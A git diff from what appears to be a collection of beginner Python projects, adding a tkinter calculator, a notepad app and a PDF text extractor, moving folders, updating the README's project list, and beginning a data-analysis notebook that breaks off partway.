str] = { + + '0': {'row': 6, 'column': 0, 'span': 2}, + '.': {'row': 6, 'column': 2, 'span': 1}, + '1': {'row': 5, 'column': 0, 'span': 1}, + '2': {'row': 5, 'column': 1, 'span': 1}, + '3': {'row': 5, 'column': 2, 'span': 1}, + '4': {'row': 4, 'column': 0, 'span': 1}, + '5': {'row': 4, 'column': 1, 'span': 1}, + '6': {'row': 4, 'column': 2, 'span': 1}, + '7': {'row': 3, 'column': 0, 'span': 1}, + '8': {'row': 3, 'column': 1, 'span': 1}, + '9': {'row': 3, 'column': 2, 'span': 1}, + } +MATH_POSITIONS: dict[str] = { + '=': {'row': 6, 'column': 3, 'text': '=', 'symbol': '=', 'span': 1}, + '+': {'row': 5, 'column': 3, 'text': '+', 'symbol': '+', 'span': 1}, + '—': {'row': 4, 'column': 3, 'text': '-', 'symbol': '—', 'span': 1}, + 'X': {'row': 3, 'column': 3, 'text': '*', 'symbol': 'X', 'span': 1}, + '/': {'row': 2, 'column': 3, 'text': '/', 'symbol': '÷', 'span': 1}, + } +MATH_OPERATORS: dict[str] = { + 'clear': {'row': 2, 'column': 0, 'span': 1, 'text': 'AC', }, + 'invert': {'row': 2, 'column': 1, 'span': 1, 'text': '+/-'}, + 'percent': {'row': 2, 'column': 2, 'span': 1, 'text': '%', } + } + +GAP_SIZE: int = 1 +TITLE_BAR_COLOR: dict[str, int] = { + 'dark': 0x00000000, + 'light': 0xFFEEEE + } +BLACK: str = '#000000' +WHITE: str = '#EEEEEE' diff --git a/PYTHON APPS/Moder_Calculator_IOS/example.png b/PYTHON APPS/Moder_Calculator_IOS/example.png new file mode 100644 index 00000000..f4523ba3 Binary files /dev/null and b/PYTHON APPS/Moder_Calculator_IOS/example.png differ diff --git a/PYTHON APPS/Moder_Calculator_IOS/image/empty.ico b/PYTHON APPS/Moder_Calculator_IOS/image/empty.ico new file mode 100644 index 00000000..ec5795a6 Binary files /dev/null and b/PYTHON APPS/Moder_Calculator_IOS/image/empty.ico differ diff --git a/PYTHON APPS/Moder_Calculator_IOS/main.py b/PYTHON APPS/Moder_Calculator_IOS/main.py new file mode 100644 index 00000000..683e3d00 --- /dev/null +++ b/PYTHON APPS/Moder_Calculator_IOS/main.py @@ -0,0 +1,315 @@ +""" + You need to install the ttkbootstrap, pip install ttkbootstrap(I recomand to use a virtual environment) +""" +import ttkbootstrap as ttk +import os +import sys + +from widgets import * +from configuration import * + +try: + from ctypes import windll, byref, sizeof, c_int +except Exception: + pass + + +def resource_path(relative_path: str) -> str: + """ + Get absolute path form the relative path + + """ + try: + base_path = sys._MEIPASS + except Exception: + base_path = os.path.abspath(".") + return os.path.join(base_path, relative_path) + + +class CalculatorApp(ttk.Window): + def __init__(self): + super().__init__(themename = 'superhero') + self.resizable(width = False, height = False) + self.bind('', lambda e: self.destroy()) + # setup + self.title("") + self.left: int = int((self.winfo_screenwidth() - APP_SIZE[0]) / 2) + self.top: int = int((self.winfo_screenheight() - APP_SIZE[1]) / 2) + self.geometry(f"{APP_SIZE[0]}x{APP_SIZE[1]}+{self.left}+{self.top}") + try: + image_path = self.resource_path('image/empty.ico') + self.iconbitmap(image_path) + + except Exception: + pass + + # set title bar color (only on windows is working) + self.set_title_bar_color() + + # set grid layout + self.rowconfigure(list(range(MAIN_ROW)), weight = 1, uniform = 'a') + self.columnconfigure(list(range(MAIN_COLUMN)), weight = 1, uniform = 'a') + + # set data + self.formula_string = ttk.StringVar(value = '') + self.result_string = ttk.StringVar(value = '0') + self.display_nums: list[int] = [] + self.full_operation: list[int] = [] + + # style + + self.Style = ttk.Style() + self.Style.configure( + style = 'Result.TLabel', + font = (FONT, OUTPUT_FONT_SIZE), + borderwidth = 0, + ) + + self.Style.configure( + style = 'Formula.TLabel', + font = (FONT, NORMAL_FONT_SIZE), + borderwidth = 0, + ) + + self.Style.configure( + style = 'Number.TButton', + font = (FONT, NORMAL_FONT_SIZE), + borderwidth = 0, + background = '#4c9be8' + ) + self.Style.map( + + style = 'Number.TButton', + background = [ + ('active', '#4c9be8'), + ('disabled', '#4c9be8') + ] + ) + + self.Style.configure( + style = 'Operator.TButton', + font = (FONT, NORMAL_FONT_SIZE), + borderwidth = 0, + background = '#4E5D6C', + ) + self.Style.map( + style = 'Operator.TButton', + background = [ + ('active', '#4E5D6C'), + ('disabled', '#4E5D6C') + ] + ) + + self.Style.configure( + style = 'Symbol.TButton', + font = (FONT, NORMAL_FONT_SIZE), + borderwidth = 0, + background = '#F0AD4E', + ) + self.Style.map( + style = 'Symbol.TButton', + background = [ + ('active', '#F0AD4E'), + ('disabled', '#F0AD4E') + ] + ) + + # set widgets label + self.create_labels() + + # set widget buttons and operators + self.num_buttons() + self.math_symbols() + self.math_operators() + + self.mainloop() + + def set_title_bar_color(self) -> None: + """ +It set the color for title bar, it works only in windows. + """ + try: + HWND = windll.user32.GetParent(self.winfo_id()) + DWMWA_ATTRIBUTE: int = 35 + TITLE_BAR_COLOR: int = 0x004C3720 + windll.dwmapi.DwmSetWindowAttribute(HWND, DWMWA_ATTRIBUTE, byref(c_int(TITLE_BAR_COLOR)), sizeof(c_int)) + except Exception: + pass + + def create_labels(self) -> None: + """ + Creating the formula and result labels. + + """ + # Formula Label + OutputLabel( + parent = self, + row = 0, + anchor = 'SE', + style = 'Formula.TLabel', + string_var = self.formula_string + ) + # Result Label + OutputLabel( + parent = self, + row = 1, + anchor = 'E', + style = 'Result.TLabel', + string_var = self.result_string + + ) + + def num_buttons(self) -> None: + """ +Creating the number buttons, from 0 to 9 and the '.'. + """ + for number, data in NUMBER_POSITIONS.items(): + NumberButtons( + parent = self, + text = number, + style = 'Number.TButton', + func = self.num_press, + row = data['row'], + column = data['column'], + span = data['span'], + ) + + def math_symbols(self) -> None: + """ +Creating the symbols, +, —, = and / + + """ + for data, symbol in MATH_POSITIONS.items(): + NumberButtons( + parent = self, + text = symbol['text'], + style = 'Symbol.TButton', + row = symbol['row'], + column = symbol['column'], + span = symbol['span'], + func = self.math_press + ) + + def math_operators(self) -> None: + """ + Adding the math operators: cleaning, percent and invert + """ + + # AC button + Button( + parent = self, + text = MATH_OPERATORS['clear']['text'], + style = 'Operator.TButton', + func = self.clear, + row = MATH_OPERATORS['clear']['row'], + column = MATH_OPERATORS['clear']['column'], + span = MATH_OPERATORS['clear']['span'], + + ) + # Invert button + Button( + parent = self, + text = MATH_OPERATORS['invert']['text'], + style = 'Operator.TButton', + func = self.invert, + row = MATH_OPERATORS['invert']['row'], + column = MATH_OPERATORS['invert']['column'], + span = MATH_OPERATORS['invert']['span'], + ) + # Percent button + Button( + parent = self, + text = MATH_OPERATORS['percent']['text'], + style = 'Operator.TButton', + func = self.percent, + row = MATH_OPERATORS['percent']['row'], + column = MATH_OPERATORS['percent']['column'], + span = MATH_OPERATORS['percent']['span'], + ) + + # math logic + def num_press(self, number: int) -> None: + """ + The logic for pressing a number, it set the label result and store the value in display_num. + + """ + self.display_nums.append(number) + full_number = ''.join(self.display_nums) + self.result_string.set(full_number) + + def invert(self) -> None: + """ + The Invert logic, add a '-' to the display_nums if is positive else it will remove it from the list. + + """ + current_number = ''.join(self.display_nums) + if current_number: + if float(current_number) > 0: + self.display_nums.insert(0, '-') + else: + del self.display_nums[0] + self.result_string.set(''.join(self.display_nums)) + + def percent(self) -> None: + """ + The percent logic, just divide the number to 100 if is there. + + """ + current_number = ''.join(self.display_nums) + if current_number != '': + percentage = float(current_number) / 100 + self.display_nums = list(str(percentage)) + self.result_string.set(''.join(self.display_nums)) + + def clear(self) -> None: + """ + Clear the labels and the lists. + + """ + self.result_string.set('0') + + self.formula_string.set('') + self.display_nums.clear() + self.full_operation.clear() + + def math_press(self, symbol: int) -> None: + """ + The math logic, take the full operation and put into an eval() function.And modifying the label and the list. + + :param symbol: + """ + current_number: str = ''.join(self.display_nums) + try: + if current_number: + self.full_operation.append(current_number) + if symbol != '=': + self.full_operation.append(symbol) + self.display_nums.clear() + self.result_string.set('') + self.formula_string.set(''.join(self.full_operation)) + else: + formula = ' '.join(self.full_operation) + result = eval(formula) + if isinstance(result, float): + if result.is_integer(): + result = int(result) + else: + result = round(result, 5) + + # update the lists + self.full_operation.clear() + self.display_nums = list(str(result)) + + # update the label with the new numbers + self.result_string.set(result) + self.formula_string.set(formula) + + except ZeroDivisionError: + self.result_string.set('Invalid!') + self.display_nums.clear() + + self.formula_string.set('') + self.full_operation.clear() + + +CalculatorApp() diff --git a/PYTHON APPS/Moder_Calculator_IOS/widgets.py b/PYTHON APPS/Moder_Calculator_IOS/widgets.py new file mode 100644 index 00000000..b20711ea --- /dev/null +++ b/PYTHON APPS/Moder_Calculator_IOS/widgets.py @@ -0,0 +1,68 @@ +""" + You need to install the ttkbootstrap, pip install ttkbootstrap(I recomand to use a virtual environment) +""" +import ttkbootstrap as ttk +from configuration import GAP_SIZE + + +class OutputLabel(ttk.Label): + """ + Label for result and formula + + """ + + def __init__(self, parent, style: str, string_var, row: int, anchor: str, column: int = 0) -> None: + super().__init__( + master = parent, + style = style, + textvariable = string_var, + ) + self.grid( + row = row, + column = column, + columnspan = 4, + sticky = anchor + ) + + +class Button(ttk.Button): + """ +The class for operators and numbers buttons + """ + + def __init__( + self, parent, text: str, func, row: int, column: int, span: int, style: str + ) -> None: + super().__init__( + master = parent, + text = text, + style = style, + command = func + ) + self.grid( + row = row, + column = column, + columnspan = span, + sticky = 'news', + padx = GAP_SIZE, + pady = GAP_SIZE + + ) + + +class NumberButtons(Button): + def __init__( + self, parent, text: str, style: str, + func: str, row: int, column: int, span: int + ) -> None: + super().__init__( + parent = parent, + text = text, + style = style, + func = lambda: func(text), + span = span, + row = row, + column = column + ) + + diff --git a/PYTHON APPS/Notepad/README.md b/PYTHON APPS/Notepad/README.md new file mode 100644 index 00000000..7a3948d8 --- /dev/null +++ b/PYTHON APPS/Notepad/README.md @@ -0,0 +1,5 @@ +# PERSONAL NOTEPAD + +Hi, I am Annarhysa and I have crated a Notepad where people can write notes and save it as well. \ +To use this notepad all you need to do is just navigate to Python-project-Scripts --> PYTHON APPS --> Notepad --> notepad.exe \ +Download this notepad.exe and run it on you Windows OS. I hope you like using it. \ No newline at end of file diff --git a/PYTHON APPS/Notepad/notepad.exe b/PYTHON APPS/Notepad/notepad.exe new file mode 100644 index 00000000..0fb26200 Binary files /dev/null and b/PYTHON APPS/Notepad/notepad.exe differ diff --git a/PYTHON APPS/Notepad/notepad.py b/PYTHON APPS/Notepad/notepad.py new file mode 100644 index 00000000..19dc5404 --- /dev/null +++ b/PYTHON APPS/Notepad/notepad.py @@ -0,0 +1,201 @@ +import tkinter +import os +from tkinter import * +from tkinter.messagebox import * +from tkinter.filedialog import * + +class Notepad: + + __root = Tk() + + # default window width and height + __thisWidth = 300 + __thisHeight = 300 + __thisTextArea = Text(__root) + __thisMenuBar = Menu(__root) + __thisFileMenu = Menu(__thisMenuBar, tearoff=0) + __thisEditMenu = Menu(__thisMenuBar, tearoff=0) + __thisHelpMenu = Menu(__thisMenuBar, tearoff=0) + + # To add scrollbar + __thisScrollBar = Scrollbar(__thisTextArea) + __file = None + + def __init__(self,**kwargs): + + # Set icon + try: + self.__root.wm_iconbitmap("Notepad.ico") + except: + pass + + # Set window size (the default is 300x300) + + try: + self.__thisWidth = kwargs['width'] + except KeyError: + pass + + try: + self.__thisHeight = kwargs['height'] + except KeyError: + pass + + # Set the window text + self.__root.title("Untitled - Notepad") + + # Center the window + screenWidth = self.__root.winfo_screenwidth() + screenHeight = self.__root.winfo_screenheight() + + # For left-align + left = (screenWidth / 2) - (self.__thisWidth / 2) + + # For right-align + top = (screenHeight / 2) - (self.__thisHeight /2) + + # For top and bottom + self.__root.geometry('%dx%d+%d+%d' % (self.__thisWidth, + self.__thisHeight, + left, top)) + + # To make the textarea auto resizable + self.__root.grid_rowconfigure(0, weight=1) + self.__root.grid_columnconfigure(0, weight=1) + + # Add controls (widget) + self.__thisTextArea.grid(sticky = N + E + S + W) + + # To open new file + self.__thisFileMenu.add_command(label="New", + command=self.__newFile) + + # To open a already existing file + self.__thisFileMenu.add_command(label="Open", + command=self.__openFile) + + # To save current file + self.__thisFileMenu.add_command(label="Save", + command=self.__saveFile) + + # To create a line in the dialog + self.__thisFileMenu.add_separator() + self.__thisFileMenu.add_command(label="Exit", + command=self.__quitApplication) + self.__thisMenuBar.add_cascade(label="File", + menu=self.__thisFileMenu) + + # To give a feature of cut + self.__thisEditMenu.add_command(label="Cut", + command=self.__cut) + + # to give a feature of copy + self.__thisEditMenu.add_command(label="Copy", + command=self.__copy) + + # To give a feature of paste + self.__thisEditMenu.add_command(label="Paste", + command=self.__paste) + + # To give a feature of editing + self.__thisMenuBar.add_cascade(label="Edit", + menu=self.__thisEditMenu) + + # To create a feature of description of the notepad + self.__thisHelpMenu.add_command(label="About Notepad", + command=self.__showAbout) + self.__thisMenuBar.add_cascade(label="Help", + menu=self.__thisHelpMenu) + + self.__root.config(menu=self.__thisMenuBar) + + self.__thisScrollBar.pack(side=RIGHT,fill=Y) + + # Scrollbar will adjust automatically according to the content + self.__thisScrollBar.config(command=self.__thisTextArea.yview) + self.__thisTextArea.config(yscrollcommand=self.__thisScrollBar.set) + + + def __quitApplication(self): + self.__root.destroy() + # exit() + + def __showAbout(self): + showinfo("Notepad","Annarhysa Albert") + + def __openFile(self): + + self.__file = askopenfilename(defaultextension=".txt", + filetypes=[("All Files","*.*"), + ("Text Documents","*.txt")]) + + if self.__file == "": + + # no file to open + self.__file = None + else: + + # Try to open the file + # set the window title + self.__root.title(os.path.basename(self.__file) + " - Notepad") + self.__thisTextArea.delete(1.0,END) + + file = open(self.__file,"r") + + self.__thisTextArea.insert(1.0,file.read()) + + file.close() + + + def __newFile(self): + self.__root.title("Untitled - Notepad") + self.__file = None + self.__thisTextArea.delete(1.0,END) + + def __saveFile(self): + + if self.__file == None: + # Save as new file + self.__file = asksaveasfilename(initialfile='Untitled.txt', + defaultextension=".txt", + filetypes=[("All Files","*.*"), + ("Text Documents","*.txt")]) + + if self.__file == "": + self.__file = None + else: + + # Try to save the file + file = open(self.__file,"w") + file.write(self.__thisTextArea.get(1.0,END)) + file.close() + + # Change the window title + self.__root.title(os.path.basename(self.__file) + " - Notepad") + + + else: + file = open(self.__file,"w") + file.write(self.__thisTextArea.get(1.0,END)) + file.close() + + def __cut(self): + self.__thisTextArea.event_generate("<>") + + def __copy(self): + self.__thisTextArea.event_generate("<>") + + def __paste(self): + self.__thisTextArea.event_generate("<>") + + def run(self): + + # Run main application + self.__root.mainloop() + + + + +# Run main application +notepad = Notepad(width=600,height=400) +notepad.run() diff --git a/PYTHON APPS/PDF-Text-Extractor/README.md b/PYTHON APPS/PDF-Text-Extractor/README.md new file mode 100644 index 00000000..72df92b2 --- /dev/null +++ b/PYTHON APPS/PDF-Text-Extractor/README.md @@ -0,0 +1,77 @@ +# PDF-Text-Extractor +This GUI Application allows you to extract the texgt from the PDF files. The project is build using the PyPDF2 library for extracting text from PDFs, and the tkinter library for creating the GUI. + +## Getting Started +To run the project, you will need to have Python and pip installed on your system. + +### Installation +1. Clone or download the repository to your local machine. + + ``` + git clone https://github.com/SamAddy/PDF-Extract-Text.git + ``` + +2. Enter the working directory. + + ``` + cd PDF-Extract-Text + ``` + +3. Use pip to install the required libraries. + + ``` + pip install -r requirements.txt + ``` + +### Usage +1. Run the app using the following command: + + ``` + python app.py + ``` + +2. A GUI window will appear, with a button to selecgt the PDF file you want to extract text from. + +3. Once you have selected the file, the text will be extracted and displayed in the text box. + +4. You can also save the text to a file by clicking 'Save' button. + + + + + + + + +
+ image1 + + image2 +
+ + + +### Note +Please keep in mind that not all pdfs are created equal, and some pdfs may have text in an image format or other format that may not be extractable with PyPDF2. + +### Built With + * [Python](https://www.python.org/) - The programming language used. + * [PYPDF2](https://pypi.org/project/PyPDF2/) - A library for extracting text from PDF files. + * [Tkinter](https://docs.python.org/3/library/tk.html) - A library for creating GUI in Python. + +### Contributing +Contributions are absolutely welcome. If you have an idea for an improvement, please open an issue or submit a pull request. + +### Acknowledgement +* Inspiration [Mariya Sha](https://github.com/MariyaSha/PDFextract_text) diff --git a/PYTHON APPS/PDF-Text-Extractor/Stage1.png b/PYTHON APPS/PDF-Text-Extractor/Stage1.png new file mode 100644 index 00000000..615ea4bf Binary files /dev/null and b/PYTHON APPS/PDF-Text-Extractor/Stage1.png differ diff --git a/PYTHON APPS/PDF-Text-Extractor/Stage2.png b/PYTHON APPS/PDF-Text-Extractor/Stage2.png new file mode 100644 index 00000000..6ff4bb28 Binary files /dev/null and b/PYTHON APPS/PDF-Text-Extractor/Stage2.png differ diff --git a/PYTHON APPS/PDF-Text-Extractor/app.py b/PYTHON APPS/PDF-Text-Extractor/app.py new file mode 100644 index 00000000..e9541925 --- /dev/null +++ b/PYTHON APPS/PDF-Text-Extractor/app.py @@ -0,0 +1,60 @@ +import tkinter as tk +import PyPDF2 +from PIL import Image, ImageTk +from tkinter.filedialog import askopenfile + +root = tk.Tk() +root.title('PDF to TEXT') +root.iconbitmap('./logo.png') +root.resizable(False, False) + + +canvas = tk.Canvas(root, width=600, height=400) +canvas.grid(columnspan=3, rowspan=3) + +# Insert logo into the window +logo = Image.open('logo2.png') +logo = ImageTk.PhotoImage(logo) +logo_label = tk.Label(image=logo) +logo_label.image = logo +logo_label.grid(column=1, row=0) + +# instructions +instructions = tk.Label(root, text='Select a PDF file on your device to extract all its text.', font='calibre') +instructions.grid(columnspan=3, column=0, row=1) + +# Get the PDF file on device +browse_text = tk.StringVar() +browse_btn = tk.Button(root, textvariable=browse_text, command=lambda: open_file(), font='calibre', bg='red', width=15, height=2) +browse_text.set('Browse') +browse_btn.grid(column=1, row=2) + +canvas = tk.Canvas(root, width=600, height=200) +canvas.grid(columnspan=3, rowspan=3) + + +def open_file(): + browse_text.set('On it...') + # Open the PDF file using the PdfFileReader object + file = askopenfile(parent=root, mode='rb', title='Choose a file', filetypes=[('PDF file', '*.pdf')]) + text = "" + + if file: + read_pdf = PyPDF2.PdfReader(file) + for i in range(len(read_pdf.pages)): + text += read_pdf.pages[i].extract_text() + + text_box = tk.Text(root, height=10, width=50, padx=15, pady=15) + text_box.insert(1.0, text) + text_box.tag_config('center', justify='center') + text_box.tag_add('center', 1.0, 'end') + text_box.grid(column=1, row=3) + + browse_text.set('Browse') + + +def convert_to_docx(): + pass + + +root.mainloop() diff --git a/PYTHON APPS/PDF-Text-Extractor/logo2.png b/PYTHON APPS/PDF-Text-Extractor/logo2.png new file mode 100644 index 00000000..78676c54 Binary files /dev/null and b/PYTHON APPS/PDF-Text-Extractor/logo2.png differ diff --git a/PYTHON APPS/PDF-Text-Extractor/random_text.pdf b/PYTHON APPS/PDF-Text-Extractor/random_text.pdf new file mode 100644 index 00000000..47c338f4 Binary files /dev/null and b/PYTHON APPS/PDF-Text-Extractor/random_text.pdf differ diff --git a/PYTHON APPS/PDF-Text-Extractor/requirements.txt b/PYTHON APPS/PDF-Text-Extractor/requirements.txt new file mode 100644 index 00000000..3e28040b Binary files /dev/null and b/PYTHON APPS/PDF-Text-Extractor/requirements.txt differ diff --git a/OTHERS/PDF_Downloader/Readme.MD b/PYTHON APPS/PDF_Downloader/Readme.MD similarity index 100% rename from OTHERS/PDF_Downloader/Readme.MD rename to PYTHON APPS/PDF_Downloader/Readme.MD diff --git a/OTHERS/PDF_Downloader/pdf.py b/PYTHON APPS/PDF_Downloader/pdf.py similarity index 100% rename from OTHERS/PDF_Downloader/pdf.py rename to PYTHON APPS/PDF_Downloader/pdf.py diff --git a/OTHERS/PDF_Downloader/requirements.txt b/PYTHON APPS/PDF_Downloader/requirements.txt similarity index 100% rename from OTHERS/PDF_Downloader/requirements.txt rename to PYTHON APPS/PDF_Downloader/requirements.txt diff --git a/PYTHON APPS/URL Shortner/README.md b/PYTHON APPS/URL Shortner/README.md new file mode 100644 index 00000000..19d5218e --- /dev/null +++ b/PYTHON APPS/URL Shortner/README.md @@ -0,0 +1,17 @@ +# URL Shortener + +## Description + +This Python script provides a simple URL shortening functionality using the TinyURL API. It takes a long (big) URL as input and returns a shortened URL that redirects to the original URL. + +## How It Works + +1. The script imports the `post` method from the `requests` module, which is used to send HTTP requests. + +2. It defines a function `TinyShortner(big_url)`, which takes a single argument `big_url` (the long URL to be shortened). + +3. Inside this function, it sends a POST request to the TinyURL API with the long URL as data. The API responds with a shortened URL, which is then returned by the function. + +4. If the script is run as the main module, it prompts the user to input a long URL, then passes this URL to the `TinyShortner` function. + +5. The shortened URL is then printed to the console. diff --git a/OTHERS/URL Shortner/tiny-url-shortner.py b/PYTHON APPS/URL Shortner/tiny-url-shortner.py similarity index 100% rename from OTHERS/URL Shortner/tiny-url-shortner.py rename to PYTHON APPS/URL Shortner/tiny-url-shortner.py diff --git a/OTHERS/pyjokes/README.md b/PYTHON APPS/pyjokes/README.md similarity index 100% rename from OTHERS/pyjokes/README.md rename to PYTHON APPS/pyjokes/README.md diff --git a/OTHERS/pyjokes/jokes.py b/PYTHON APPS/pyjokes/jokes.py similarity index 100% rename from OTHERS/pyjokes/jokes.py rename to PYTHON APPS/pyjokes/jokes.py diff --git a/OTHERS/pyjokes/laugh.py b/PYTHON APPS/pyjokes/laugh.py similarity index 100% rename from OTHERS/pyjokes/laugh.py rename to PYTHON APPS/pyjokes/laugh.py diff --git a/OTHERS/pyjokes/requirements.txt b/PYTHON APPS/pyjokes/requirements.txt similarity index 100% rename from OTHERS/pyjokes/requirements.txt rename to PYTHON APPS/pyjokes/requirements.txt diff --git a/README.md b/README.md index 5ca55ace..8505b537 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,6 @@ # Python-project-Scripts. - -Join us on Slack - +[![Join us on Slack](https://img.shields.io/badge/slack-chat-green.svg?logo=slack)](https://join.slack.com/t/ngc-goz8665/shared_invite/zt-r01kumfq-dQUT3c95BxEP_fnk4yJFfQ) ![Contributors](https://img.shields.io/github/contributors/larymak/Python-project-Scripts?style=plastic) ![Forks](https://img.shields.io/github/forks/larymak/Python-project-Scripts) @@ -72,7 +70,7 @@ guide [HERE](https://github.com/larymak/Python-project-Scripts/blob/main/CONTRIB | 21 | [Pywhatkit](https://github.com/larymak/Python-project-Scripts/tree/main/BOTS/pywhatkit) | [SasiKalyan](https://github.com/KanakamSasikalyan) | | 22 | [Wikipedia](https://github.com/larymak/Python-project-Scripts/tree/main/WEB%20SCRAPING/wikipedia) | [SasiKalyan](https://github.com/KanakamSasikalyan) | | 23 | [Auto Move Files](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/AutoMoveFiles) | [Hisham Khalil](https://github.com/HishamKhalil1990) | -| 24 | [Working with CSV Files](https://github.com/larymak/Python-project-Scripts/tree/main/CSV_files) | [Mahmoud alzoubi](https://github.com/Mahmoud-alzoubi95) | +| 24 | [Working with CSV Files](https://github.com/larymak/Python-project-Scripts/tree/main/PYTHON%20APPS/CSV_files) | [Mahmoud alzoubi](https://github.com/Mahmoud-alzoubi95) | | 25 | [Getting files and folders sizes](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Getting%20Files%20and%20Folders%20sizes) | [Saeedahmadi](https://github.com/Saeedahmadi7714) | | 26 | [Contact management system](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/Contact-management) | [Gagan prajapati](https://github.com/Gagan1111) | | 27 | [Countdown Timer](https://github.com/larymak/Python-project-Scripts/tree/main/TIME%20SCRIPTS/Countdown%20Timer) | [Emmanuel Tanimowo](https://github.com/Mannuel25) | @@ -112,7 +110,18 @@ guide [HERE](https://github.com/larymak/Python-project-Scripts/blob/main/CONTRIB | 61 | [PyQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/PyQuiz) | [Eduardo C.](https://github.com/ehcelino) | | 62 | [Dates](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/Dates) | [Eduardo C.](https://github.com/ehcelino) | | 63 | [QtQuiz](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/QtQuiz) | [Eduardo C.](https://github.com/ehcelino) | -| 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) | +| 64 | [Umbrella Reminder](https://github.com/larymak/Python-project-Scripts/tree/main/TIME%20SCRIPTS/Umbrella%20Reminder) | [Edula Vinay Kumar Reddy](https://github.com/vinayedula) | | 65 | [Image to PDF](https://github.com/larymak/Python-project-Scripts/tree/main/IMAGES%20%26%20PHOTO%20SCRIPTS/Image%20to%20PDF) | [Vedant Chainani](https://github.com/Envoy-VC) | | 66 | [KeyLogger](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/KeyLogger) | [Akhil](https://github.com/akhil-chagarlamudi) | -| 67 | [Face-detecting](https://github.com/azamtoiri/Python-project-Scripts/tree/main/MachineLearning%20Projects/Face-detecting) | [Azam Toiri](https://github.com/azamtoiri) | +| 67 | [PDF Text Extractor](https://github.com/SamAddy/Python-project-Scripts/tree/main/PYTHON%20APPS/PDF-Text-Extractor) | [Samuel Addison](https://github.com/SamAddy) +| 68 | [Analyze docx file](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/analyzing%20and%20writing%20.docx%20file) | [Kashaan Mahmood](https://github.com/Kashaan-M) +| 69 | [Bitcoin Price](https://github.com/larymak/Python-project-Scripts/tree/main/WEB%20SCRAPING/Bitcoin%20Price) | [Olu-Olagbuji Delight](https://github.com/Dheelyte) +| 70 | [Password Generator](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/Password%20Generator) | [LpCodes](https://github.com/LpCodes) +| 71 | [HTML to Excel](https://github.com/larymak/Python-project-Scripts/tree/main/CONVERSION%20SCRIPTS/HTML%20to%20Excel) | [LpCodes](https://github.com/LpCodes) +| 72 | [Star pattern](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/Star%20pattern) | [LpCodes](https://github.com/LpCodes) | +| 73 | [Logging Helper](https://github.com/larymak/Python-project-Scripts/tree/main/OTHERS/add-multiprocessing-logger) | [Jerry W.](https://github.com/Jerry0420) | +| 74 | [Notepad](https://github.com/larymak/Python-project-Scripts/tree/main/PYTHON%20APPS/Notepad) | [Annarhysa Albert](https://github.com/Annarhysa) | +| 75 | [Quadratic Equation Solver](https://github.com/larymak/Python-project-Scripts/tree/main/GUI/Quadratic-Equation-Solver) | [Akinfenwa Ezekiel](https://github.com/Ezek-iel) | +| 76 | [Internet Connectivity Monitor](https://github.com/larymak/Python-project-Scripts/tree/main/AUTOMATION/InternetConnectivityMonitor) | [Prince Khunt](https://github.com/princekhunt) | +| 76 | [E-commerce](https://github.com/larymak/Python-project-Scripts/tree/main/FLASK%20PROJECTS/E-commerce) | [Eter Nada](https://github.com/tarenjk24) | + diff --git a/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Data Analysis.ipynb b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Data Analysis.ipynb new file mode 100644 index 00000000..96619802 --- /dev/null +++ b/SOCIAL MEDIA DATA ANALYSIS/Facebook-Data-Analysis/Facebook Data Analysis.ipynb @@ -0,0 +1,2500 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Facebook Revenue and Usage Statistics (2021)" + ] + }, + { + "attachments": { + "image-4.png": { + "image/png": "iVBORw0KGgoAAAANSUhEUgAAAoAAAACgCAYAAACc/t08AAAgAElEQVR4Aex9BZhc1fn+WZ/1jYcIcaQC/VH+OJHN+uhanCRIS7Hggbh7spt1t3iCO4UChRpQrEBxCFCsSGyTtZmd9/+837l3dhICTWlpSLjhOdzZuXeufOe757zn/UzB+mdJwJKAJQFLApYELAlYEvhfSsAPoBOAF4DPaPzbbH7zAw/oMFobgODGfWzmsd/2AOaxwb/n7368/9SP99GtJ7ckYEnAkoAlAUsClgSOigRMAGhiN3PL780WAHYmeOOWYDD4b342f/xtT8JjzN8TBPI8/O7H+88CgD/evree3JKAJQFLApYELAkcPQmYQC94e8jdcBf/BR9iftYA7rsAQJNRtACgIV5rY0nAkoAlAUsClgQsCVgS+N9JIBjg8aomuDuS7b8PAE0W0GQQLQD4v+tp60qWBCwJWBKwJGBJwJKAJQF0wo9O+OA1tubfXS6B3wgC/RooagAYbBImoPsmUGfuC97+uLvBMgH/uPvfenpLApYELAlYErAkcBQkQMDnhQ8dAgIJBH0CCL/OAh6WFpQ7Jpg7UgBoPuI3AURz/49nawHAH09fW09qScCSgCUBSwKWBH4gEtAAkCCQTKBuJrN3yC0ejgoUps805Zpbk9075PfWn4eVgAUADysW60tLApYELAlYErAkYEng+5WACdiCWLnDgT2mhJFGoGcGcByO+TPP9/3e9fFydgsAHi89aT2HJQFLApYELAlYEjiWJOAHfB1edHp9XXbfDj/ARiDYyS3BnxfwM3VLC4D9AJqNLQFhF3js7OwEm/XvyCRgAcAjk5N1lCUBSwKWBCwJWBKwJPDflIDJ9nUCvlYvfK2dGs+ZRB6xX0c7vK37gc4WwH8A6NwL+PcKAPR2EBTqfz6fD2zWvyOXgAUAj1xW1pGWBCwJWBKwJGBJwJLAf0kCzbv2obPN9zXQJ5VBTBBogsSAz18b/P796GgnEwgc2N+O3bvICHb9a2trQ3t7u8EOmieymMEuCelPFgA8VCLW35YELAlYErAkYEnAksD3LwED3LW1eNFJl75OgKRe6wGgnVuSfjQTk+9r9aOl3R+oGtfm68SBFpqGu5IH+rzAwRbgYPBnAcBDO9QCgIdKxPrbkoAlAUsClgQsCVgS+N4l0HxgP3x+RgBrHEeg1+4FvH6g3WhtfqAVuu3rBHZ7gT0+oIVmY7oLtgFtdA00TuLz+eEnapR/BH1mhLDpL2iCwu/98X7wF7AA4A++i6wbtCRgScCSgCUBS